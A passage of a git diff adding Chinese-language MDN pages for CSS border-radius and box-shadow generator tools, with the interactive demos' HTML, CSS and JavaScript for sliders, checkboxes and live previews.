+#radius-lock {
+	width: 200px;
+	height: 75px;
+	margin: 30px 0 0 30px;
+	padding: 30px;
+	border: 3px solid #555;
+	border-radius: 10px;
+	position: relative;
+	float: left;
+}
+
+#radius-lock .ui-checkbox {
+	color: #FFF;
+	position: absolute;
+}
+
+#radius-lock .ui-checkbox > label {
+	height: 20px;
+	width: 34px;
+	padding: 0;
+}
+
+#radius-lock .info {
+	height: 20%;
+	width: 100%;
+	line-height: 20%;
+	font-size: 20px;
+	text-align: center;
+	position: relative;
+	top: 40%;
+}
+
+#radius-lock [data-topic="top-left"] {
+	top: 10px;
+	left: 10px;
+}
+
+#radius-lock [data-topic="top-right"] {
+	top: 10px;
+	right: 10px;
+}
+
+#radius-lock [data-topic="bottom-right"] {
+	bottom: 10px;
+	right: 10px;
+}
+
+#radius-lock [data-topic="bottom-left"] {
+	bottom: 10px;
+	left: 10px;
+}
+
+/**
+ * Controls
+ */
+
+#dimensions {
+	width: 200px;
+	color: #444;
+	float:left;
+}
+
+#dimensions input {
+	background: #555;
+	color: #FFF;
+	border: none;
+	border-radius: 3px;
+}
+
+#output {
+	width: 500px;
+	padding: 10px 0;
+	margin: 10px 0;
+	color: #555;
+	text-align: center;
+	border: 1px dashed #999;
+	border-radius: 3px;
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+	user-select: text;
+
+	float: right;
+}
+
+
+
+ +

JavaScript Content

+ +
'use strict';
+
+
+/**
+ * UI-InputSliderManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseInt(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		subscribe(obj.topic, function(value) {
+			input.value = value + obj.unit;
+		});
+
+		return input;
+	}
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		document.addEventListener("mouseup", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		});
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		}
+
+		return slider;
+	}
+
+	var InputSlider = function(node) {
+		var min		= node.getAttribute('data-min') | 0;
+		var max		= node.getAttribute('data-max') | 0;
+		var step	= node.getAttribute('data-step') | 0;
+		var value	= node.getAttribute('data-value') | 0;
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+
+		this.min = min;
+		this.max = max > 0 ? max : 100;
+		this.step = step === 0 ? 1 : step;
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit;
+		this.sensivity = sensivity > 0 ? sensivity : 5;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+		node.className = 'ui-input-slider ui-input-slider-container';
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	}
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		if (value > slider.max) value = slider.max;
+		if (value < slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		if (send_notify !== undefined && send_notify === false) {
+			slider.input.value = value + slider.unit;
+			return;
+		}
+
+		notify.call(slider);
+	}
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	}
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	}
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	}
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new InputSlider(elem[i]);
+	}
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		getNode : getNode,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	}
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	}
+
+	var setValue = function setValue(topic, value) {
+		try {
+			buttons[topic].checkbox.checked = value;
+		}
+		catch(error) {
+			console.log(error);
+		}
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new CheckBox(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+
+window.addEventListener("load", function() {
+	BorderRadius.init();
+});
+
+var BorderRadius = (function BorderRadius() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	/**
+	 * Shadow dragging
+	 */
+	var PreviewMouseTracking = (function Drag() {
+		var active = false;
+		var lastX = 0;
+		var lastY = 0;
+		var subscribers = [];
+
+		var init = function init(id) {
+			var elem = getElemById(id);
+			elem.addEventListener('mousedown', dragStart, false);
+			document.addEventListener('mouseup', dragEnd, false);
+		}
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			active = true;
+			lastX = e.clientX;
+			lastY = e.clientY;
+			document.addEventListener('mousemove', mouseDrag, false);
+		}
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			if (active === true) {
+				active = false;
+				document.removeEventListener('mousemove', mouseDrag, false);
+			}
+		}
+
+		var mouseDrag = function mouseDrag(e) {
+			notify(e.clientX - lastX, e.clientY - lastY);
+			lastX = e.clientX;
+			lastY = e.clientY;
+		}
+
+		var subscribe = function subscribe(callback) {
+			subscribers.push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			var index = subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(deltaX, deltaY) {
+			for (var i in subscribers)
+				subscribers[i](deltaX, deltaY);
+		}
+
+		return {
+			init : init,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	var subject;
+	var units = ['px', '%'];
+	var output = null;
+
+	var UnitSelector = function UnitSelector(topic) {
+
+		this.container = document.createElement("div");
+		this.select = document.createElement("select");
+		for (var i in units) {
+			var option = document.createElement("option");
+			option.value = i;
+			option.textContent = units[i];
+			this.select.appendChild(option);
+		}
+
+		this.container.className = 'dropdown ' + 'unit-' + topic;
+		this.container.appendChild(this.select);
+	}
+
+	UnitSelector.prototype.setValue = function setValue(value) {
+		this.salect.value = value;
+	}
+
+
+	var RadiusContainer = function RadiusContainer(node) {
+		var radius = document.createElement('div');
+		var handle = document.createElement('div');
+		var x = node.getAttribute('data-x');
+		var y = node.getAttribute('data-y');
+		var active = false;
+
+		this.id = node.id;
+		this.node = node;
+		this.radius = radius;
+		this.handle = handle;
+		this.width = 100;
+		this.height = 50;
+		this.size = 0;
+		this.rounded = false;
+
+		this.unitX = 0;
+		this.unitY = 0;
+		this.unitR = 0;
+
+		this.maxW = 100;
+		this.maxH = 100;
+		this.maxR = 100;
+
+		this.topic = y + '-' + x;
+
+		var sliderW = InputSliderManager.getNode(this.topic + '-w');
+		var sliderH = InputSliderManager.getNode(this.topic + '-h');
+		var sliderR = InputSliderManager.getNode(this.topic);
+
+		this.setUnitX(this.unitX);
+		this.setUnitY(this.unitY);
+		this.setUnitR(this.unitR);
+
+		this.updateWidth();
+		this.updateHeight();
+		this.updateRadius();
+
+		if (x === 'left')	this.resizeX =  1;
+		if (x === 'right')	this.resizeX = -1;
+		if (y === 'top')	this.resizeY =  1;
+		if (y === 'bottom')	this.resizeY = -1;
+
+		radius.className = 'radius';
+
+		var unit_selector = document.getElementById("unit-selection");
+		var unitW = new UnitSelector(this.topic + '-w');
+		var unitH = new UnitSelector(this.topic + '-h');
+		var unitR = new UnitSelector(this.topic);
+
+		unit_selector.appendChild(unitW.container);
+		unit_selector.appendChild(unitH.container);
+		unit_selector.appendChild(unitR.container);
+		node.appendChild(radius);
+		subject.appendChild(handle);
+
+		unitW.select.addEventListener('change', function(e) {
+			this.setUnitX(e.target.value | 0);
+		}.bind(this));
+
+		unitH.select.addEventListener('change', function(e) {
+			this.setUnitY(e.target.value | 0);
+		}.bind(this));
+
+		unitR.select.addEventListener('change', function(e) {
+			this.setUnitR(e.target.value | 0);
+		}.bind(this));
+
+		if (x === 'left' && y == 'top') handle.className = 'handle handle-top-left'
+		if (x === 'right' && y == 'top') handle.className = 'handle handle-top-right';
+		if (x === 'right' && y == 'bottom') handle.className = 'handle handle-bottom-right';
+		if (x === 'left' && y == 'bottom') 	handle.className = 'handle handle-bottom-left';
+
+		handle.addEventListener("mousedown", function(e) {
+			active = true;
+			this.radius.style.display = 'block';
+			PreviewMouseTracking.subscribe(this.updateContainer.bind(this));
+		}.bind(this));
+
+		document.addEventListener("mouseup", function(e) {
+			this.radius.style.display = 'none';
+			if (active === true)
+				PreviewMouseTracking.unsubscribe(this.updateContainer.bind(this));
+		}.bind(this));
+
+		InputSliderManager.subscribe(this.topic + '-w', this.setWidth.bind(this));
+		InputSliderManager.subscribe(this.topic + '-h', this.setHeight.bind(this));
+		InputSliderManager.subscribe(this.topic, this.setRadius.bind(this));
+
+		ButtonManager.subscribe(this.topic, function(value) {
+			this.rounded = value;
+			if (value === true) {
+				unitW.container.style.display = 'none';
+				unitH.container.style.display = 'none';
+				unitR.container.style.display = 'block';
+				sliderW.style.display = 'none';
+				sliderH.style.display = 'none';
+				sliderR.style.display = 'block';
+				this.setUnitR(this.unitR);
+				this.updateRadius();
+			}
+
+			if (value === false) {
+				unitW.container.style.display = 'block';
+				unitH.container.style.display = 'block';
+				unitR.container.style.display = 'none';
+				sliderW.style.display = 'block';
+				sliderH.style.display = 'block';
+				sliderR.style.display = 'none';
+				this.setUnitX(this.unitX);
+				this.setUnitY(this.unitY);
+				this.updateWidth();
+				this.updateHeight();
+			}
+
+			this.updateBorderRadius();
+
+		}.bind(this));
+
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.updateWidth = function updateWidth() {
+		this.node.style.width = this.width + units[this.unitX];
+		var value = Math.round(this.width / 2);
+		InputSliderManager.setValue(this.topic + '-w', value, false);
+	}
+
+	RadiusContainer.prototype.updateHeight = function updateHeight() {
+		this.node.style.height = this.height + units[this.unitY];
+		var value = Math.round(this.height / 2);
+		InputSliderManager.setValue(this.topic + '-h', value, false);
+	}
+
+	RadiusContainer.prototype.updateRadius = function updateRadius() {
+		var value = Math.round(this.size / 2);
+		this.node.style.width = this.size + units[this.unitR];
+		this.node.style.height = this.size + units[this.unitR];
+		InputSliderManager.setValue(this.topic, value, false);
+	}
+
+	RadiusContainer.prototype.setWidth = function setWidth(value) {
+		this.radius.style.display = 'block';
+		this.width = 2 * value;
+		this.node.style.width = this.width + units[this.unitX];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setHeight = function setHeight(value) {
+		this.radius.style.display = 'block';
+		this.height = 2 * value;
+		this.node.style.height = this.height + units[this.unitY];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setRadius = function setRadius(value) {
+		this.radius.style.display = 'block';
+		this.size = 2 * value;
+		this.node.style.width = this.size + units[this.unitR];
+		this.node.style.height = this.size + units[this.unitR];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setUnitX = function setUnitX(value) {
+		this.unitX = value;
+		if (this.unitX === 0) this.maxW = 2 * subject.clientWidth;
+		if (this.unitX === 1) this.maxW = 200;
+		InputSliderManager.setUnit(this.topic + '-w', units[this.unitX]);
+		InputSliderManager.setMax(this.topic + '-w', this.maxW / 2);
+	}
+
+	RadiusContainer.prototype.setUnitY = function setUnitY(value) {
+		this.unitY = value;
+		if (this.unitY === 0) this.maxH = 2 * subject.clientHeight;
+		if (this.unitY === 1) this.maxH = 200;
+		InputSliderManager.setUnit(this.topic + '-h', units[this.unitY]);
+		InputSliderManager.setMax(this.topic + '-h', this.maxH / 2);
+	}
+
+	RadiusContainer.prototype.setUnitR = function setUnitR(value) {
+		this.unitR = value;
+
+		if (this.unitR === 0)
+			this.maxR = 2 * Math.min(subject.clientHeight , subject.clientWidth);
+
+		if (this.unitR === 1)
+			this.maxR = 200;
+
+		InputSliderManager.setUnit(this.topic, units[this.unitR]);
+		InputSliderManager.setMax(this.topic, this.maxR / 2);
+	}
+
+	RadiusContainer.prototype.updateUnits = function updateUnits(unit) {
+		if (this.rounded) {
+			this.setUnitR(this.unitR);
+			return;
+		}
+
+		if (unit === 0)
+			this.setUnitX(this.unitX);
+
+		if (unit === 1)
+			this.setUnitY(this.unitY);
+	}
+
+	RadiusContainer.prototype.composeBorderRadius = function composeBorderRadius () {
+
+		if (this.rounded === true) {
+			var unit = units[this.unitR];
+			var value = Math.round(this.size / 2);
+			return value + unit;
+		}
+
+		var unitX = units[this.unitX];
+		var unitY = units[this.unitY];
+		var valueX = Math.round(this.width / 2);
+		var valueY = Math.round(this.height / 2);
+
+		if (valueX === valueY && this.unitX === this.unitY)
+			return valueX + unitX;
+
+		return valueX + unitX + ' ' + valueY + unitY;
+	}
+
+	RadiusContainer.prototype.updateBorderRadius = function updateBorderRadius () {
+		var radius = this.composeBorderRadius();
+		var corner = 0;
+
+		if (this.topic === 'top-left') {
+			subject.style.borderTopLeftRadius = radius;
+			corner = 0;
+		}
+
+		if (this.topic === 'top-right') {
+			subject.style.borderTopRightRadius = radius;
+			corner = 1;
+		}
+
+		if (this.topic === 'bottom-right') {
+			subject.style.borderBottomRightRadius = radius;
+			corner = 2;
+		}
+
+		if (this.topic === 'bottom-left') {
+			subject.style.borderBottomLeftRadius = radius;
+			corner = 3;
+		}
+
+		Tool.updateOutput(corner, radius);
+	}
+
+	RadiusContainer.prototype.updateContainer = function updateContainer(deltaX, deltaY) {
+
+		if (this.rounded === true) {
+			this.size += this.resizeX * deltaX + this.resizeY * deltaY;
+			if (this.size < 0)	this.size = 0;
+			if (this.size > this.maxR)	this.size = this.maxR;
+			this.updateRadius();
+			this.updateBorderRadius();
+			return;
+		}
+
+		if (deltaX) {
+			this.width += this.resizeX * deltaX;
+			if (this.width < 0)	this.width = 0;
+			if (this.width > this.maxW)	this.width = this.maxW;
+			this.updateWidth();
+		}
+
+		if (deltaY) {
+			this.height += this.resizeY * deltaY;
+			if (this.height < 0) this.height = 0;
+			if (this.height > this.maxH)	this.height = this.maxH;
+			this.updateHeight();
+		}
+
+		if (deltaX || deltaY)
+			this.updateBorderRadius();
+	}
+
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+		var preview;
+		var preview_ui;
+		var radius_containers = [];
+		var border_width = 3;
+		var borders1 = [null, null, null, null];
+		var borders2 = [0, 0, 0, 0];
+
+		var updateUIWidth = function updateUIWidth(value) {
+			var pwidth = subject.parentElement.clientWidth;
+			var left = (pwidth - value) / 2;
+			subject.style.width = value + "px";
+
+			for (var i = 0; i < 4; i++)
+				radius_containers[i].updateUnits(0);
+		}
+
+		var updateUIHeight = function updateUIHeight(value) {
+			var pheight = subject.parentElement.clientHeight;
+			var top = (pheight - value) / 2;
+			subject.style.height = value + "px";
+			subject.style.top = top - border_width + "px";
+
+			for (var i = 0; i < 4; i++)
+				radius_containers[i].updateUnits(1);
+		}
+
+		var updatePreviewUIWidth = function updatePreviewUIWidth() {
+			var p = subject.parentElement.clientWidth;
+			var v = preview_ui.clientWidth;
+			console.log(p, v, (p - v ) / 2);
+			preview_ui.style.left = (p - v) / 2 + "px" ;
+		}
+
+		var updatePreviewUIHeight = function updatePreviewUIHeight() {
+			var p = subject.parentElement.clientHeight;
+			var v = preview_ui.clientHeight;
+			console.log(p, v, (p - v ) / 2);
+			preview_ui.style.top = (p - v) / 2 + "px" ;
+		}
+
+		var updateOutput = function updateOutput(corner, radius) {
+			var values = radius.split(" ");
+
+			borders1[corner] = values[0];
+			borders2[corner] = values[0];
+
+			if (values.length === 2)
+				borders2[corner] = values[1];
+
+			var border_1_value = borders1.join(" ");
+			var border_2_value = borders2.join(" ");
+			var border_radius = 'border-radius: ' + border_1_value;
+
+			if (border_2_value !== border_1_value)
+				border_radius += ' / ' + border_2_value;
+
+			border_radius += ';';
+			output.textContent = border_radius;
+		}
+
+		var init = function init() {
+			preview = getElemById("preview");
+			subject = getElemById("subject");
+			output = getElemById("output");
+			preview_ui = getElemById("radius-ui-sliders");
+
+			var elem = document.querySelectorAll('.radius-container');
+			var size = elem.length;
+			for (var i = 0; i < size; i++)
+				radius_containers[i] = new RadiusContainer(elem[i]);
+
+			InputSliderManager.subscribe("width", updateUIWidth);
+			InputSliderManager.subscribe("height", updateUIHeight);
+
+			InputSliderManager.setValue("width", subject.clientWidth);
+			InputSliderManager.setValue("height", subject.clientHeight);
+		}
+
+		return {
+			init : init,
+			updateOutput : updateOutput
+		}
+
+	})();
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		ButtonManager.init();
+		InputSliderManager.init();
+		PreviewMouseTracking.init("preview");
+		Tool.init();
+	}
+
+	return {
+		init : init
+	}
+
+})();
+
+
+
+
+ +

{{ EmbedLiveSample('border-radius-generator', '100%', '800px', '') }}

+ +

 

diff --git a/files/zh-cn/web/css/css_background_and_borders/box-shadow_generator/index.html b/files/zh-cn/web/css/css_background_and_borders/box-shadow_generator/index.html new file mode 100644 index 0000000000..3fb264bc40 --- /dev/null +++ b/files/zh-cn/web/css/css_background_and_borders/box-shadow_generator/index.html @@ -0,0 +1,2880 @@ +--- +title: Box-shadow generator +slug: Web/CSS/CSS_Box_Model/Box-shadow_generator +translation_of: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator +--- +

这个可视化工具可以帮助你生成一个元素的CSS{{cssxref("box-shadow")}}相关代码,添加box shadow效果到你的CSS对象上。

+ +
+

box-shadow generator

+ +

HTML Content

+ +
<div id="container">
+    <div class="group section">
+        <div id="layer_manager">
+            <div class="group section">
+                <div class="button" data-type="add"> </div>
+                <div class="button" data-type="move-up"> </div>
+                <div class="button" data-type="move-down"> </div>
+            </div>
+            <div id="stack_container"></div>
+        </div>
+
+        <div id="preview_zone">
+            <div id="layer_menu" class="col span_12">
+                <div class="button" id="element" data-type="subject" data-title="element"> element </div>
+                <div class="button" id="before" data-type="subject" data-title=":before">
+                    :before
+                    <span class="delete" data-type="disable"></span>
+                </div>
+                <div class="button" id="after" data-type="subject" data-title=":after">
+                    :after
+                    <span class="delete" data-type="disable"></span>
+                </div>
+                <div class="ui-checkbox" data-topic='before' data-label=":before"></div>
+                <div class="ui-checkbox" data-topic='after' data-label=":after"></div>
+            </div>
+
+            <div id="preview">
+                <div id="obj-element">
+                    <div class="content"> </div>
+                    <div id="obj-before"> </div>
+                    <div id="obj-after"> </div>
+                </div>
+            </div>
+        </div>
+    </div>
+
+    <div id="controls" class="group section">
+        <div class="wrap-left">
+            <div class="colorpicker category">
+                <div class="title"> </div>
+                <div id="colorpicker" class="group">
+                    <div id="gradient" class="gradient">
+                        <div id="gradient_picker"> </div>
+                    </div>
+                    <div id="hue" data-topic="hue" class="hue">
+                        <div id="hue_selector"> </div>
+                    </div>
+                    <div class="info">
+                        <div class="input" data-topic="hue" data-title='H:' data-action="HSV"></div>
+                        <div class="input" data-topic="saturation" data-title='S:' data-action="HSV"></div>
+                        <div class="input" data-topic="value" data-title='V:' data-action="HSV"></div>
+                    </div>
+                    <div class="alpha">
+                        <div id="alpha" data-topic="alpha">
+                            <div id="alpha_selector"> </div>
+                        </div>
+                    </div>
+                    <div class="info">
+                        <div class="input" data-topic="r" data-title='R:' data-action="RGB"></div>
+                        <div class="input" data-topic="g" data-title='G:' data-action="RGB"></div>
+                        <div class="input" data-topic="b" data-title='B:' data-action="RGB"></div>
+                    </div>
+                    <div class="preview block">
+                        <div id="output_color"> </div>
+                    </div>
+                    <div class="block info">
+                        <div class="input" data-topic="a" data-title='alpha:' data-action="alpha"></div>
+                        <div class="input" data-topic="hexa" data-title='' data-action="hexa"></div>
+                    </div>
+                </div>
+            </div>
+        </div>
+
+        <div class="wrap-right">
+
+            <div id="shadow_properties" class="category">
+                <div class="title"> Shadow properties </div>
+                <div class="group">
+                    <div class="group property">
+                        <div class="ui-slider-name"> inset </div>
+                        <div class="ui-checkbox" data-topic='inset'></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Position x </div>
+                        <div class="ui-slider-btn-set" data-topic="posX" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="posX"
+                            data-min="-500" data-max="500" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="posX" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="posX" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Position y </div>
+                        <div class="ui-slider-btn-set" data-topic="posY" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="posY"
+                            data-min="-500" data-max="500" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="posY" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="posY" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Blur </div>
+                        <div class="ui-slider-btn-set" data-topic="blur" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="blur"
+                            data-min="0" data-max="200" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="blur" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="blur" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Spread </div>
+                        <div class="ui-slider-btn-set" data-topic="spread" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="spread"
+                            data-min="-100"    data-max="100" data-step="1" data-value="50">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="spread" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="spread" data-unit="px"></div>
+                    </div>
+                </div>
+            </div>
+
+            <div id="element_properties" class="category">
+                <div class="title"> Class element properties </div>
+                <div class="group">
+                    <div class="group property">
+                        <div class="ui-slider-name"> border </div>
+                        <div class="ui-checkbox" data-topic='border-state' data-state="true"></div>
+                    </div>
+                    <div id="z-index" class="slidergroup">
+                        <div class="ui-slider-name"> z-index </div>
+                        <div class="ui-slider-btn-set" data-topic="z-index" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="z-index"
+                            data-min="-10" data-max="10" data-step="1"></div>
+                        <div class="ui-slider-btn-set" data-topic="z-index" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="z-index"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> top </div>
+                        <div class="ui-slider-btn-set" data-topic="top" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="top"
+                            data-min="-500" data-max="500" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="top" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="top" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> left </div>
+                        <div class="ui-slider-btn-set" data-topic="left" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="left"
+                            data-min="-300" data-max="700" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="left" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="left" data-unit="px"></div>
+                    </div>
+                    <div id="transform_rotate" class="slidergroup">
+                        <div class="ui-slider-name"> Rotate </div>
+                        <div class="ui-slider-btn-set" data-topic="rotate" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="rotate"
+                            data-min="-360" data-max="360" data-step="1" data-value="0">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="rotate" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="rotate" data-unit="deg"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Width </div>
+                        <div class="ui-slider-btn-set" data-topic="width" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="width"
+                            data-min="0" data-max="1000" data-step="1" data-value="200">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="width" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="width"  data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Height </div>
+                        <div class="ui-slider-btn-set" data-topic="height" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="height"
+                            data-min="0" data-max="400" data-step="1" data-value="200">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="height" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="height" data-unit="px"></div>
+                    </div>
+                </div>
+            </div>
+
+            <div id="output" class="category">
+                <div id="menu" class="menu"></div>
+                <div class="title">    CSS Code </div>
+                <div class="group" style="border-top-left-radius: 0;">
+                    <div class="output" data-topic="element" data-name="element"
+                        data-prop="width height background-color position=[relative] box-shadow">
+                    </div>
+                    <div class="output" data-topic="before" data-name="element:before"
+                        data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform">
+                    </div>
+                    <div class="output" data-topic="after" data-name="element:after"
+                        data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform">
+                    </div>
+                </div>
+            </div>
+        </div>
+    </div>
+</div>
+
+ +

CSS Content

+ +
/*  GRID OF TWELVE
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+/*
+ * UI Slider
+ */
+
+.slidergroup {
+	height: 20px;
